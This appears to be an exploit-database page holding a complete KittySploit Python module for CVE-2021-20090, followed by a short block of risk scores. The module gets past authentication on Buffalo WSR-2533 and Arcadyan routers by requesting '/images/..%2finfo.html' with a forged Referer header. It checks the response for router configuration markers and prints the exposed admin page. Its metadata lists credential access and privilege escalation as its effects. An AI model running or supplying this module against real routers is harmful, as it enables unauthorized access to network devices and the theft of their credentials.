Buffalo WSR Auth Bypass (CVE-2021-20090)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Buffalo/Arcadyan path traversal auth bypass (CVE-2021-20090)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Buffalo WSR Auth Bypass (CVE-2021-20090)',
'description': (
'Exploits CVE-2021-20090 in Buffalo WSR-2533 and Arcadyan-based routers: '
'/images/..%2f traversal bypasses authentication and exposes admin info.html.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2021-20090'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2021-20090'],
'tags': ['buffalo', 'arcadyan', 'router', 'auth-bypass', 'kev', 'vkev'],
'agent': {
'risk': 'critical',
'effects': ['privilege_escalation', 'credential_access'],
'expected_requests': 3,
'reversible': True,
'approval_required': True,
'produces': ['admin_surface', 'credentials'],
'chain': {'suggested_followups': ['scanner/http/cve_2021_20090_detect']},
},
}
bypass_path = OptString('/images/..%2finfo.html', 'Traversal bypass URL', required=False, advanced=True)
def _referer(self) -> str:
scheme = 'https' if self._to_bool(self.ssl) else 'http'
return f'{scheme}://{self.target}:{self.port}/info.html'
def check(self):
path = str(self.bypass_path or '/images/..%2finfo.html').strip()
r = self.http_request(
method='GET',
path=path,
headers={'Referer': self._referer()},
allow_redirects=False,
)
body = (r.text or '') if r else ''
if r and r.status_code == 200 and all(m in body for m in ('URLToken(cgi_path)', 'pppoe', 'wan')):
return {'vulnerable': True, 'reason': 'Buffalo/Arcadyan bypass confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'Traversal bypass failed', 'confidence': 'medium'}
def run(self):
if not self.check().get('vulnerable'):
print_error('Buffalo WSR not vulnerable')
return False
path = str(self.bypass_path or '/images/..%2finfo.html').strip()
r = self.http_request(
method='GET',
path=path,
headers={'Referer': self._referer()},
allow_redirects=False,
)
print_success((r.text or '')[:4000] if r else '')
return True
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05 Oct 2026 14:20Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 3.19.8
EPSS0.99982
SSVC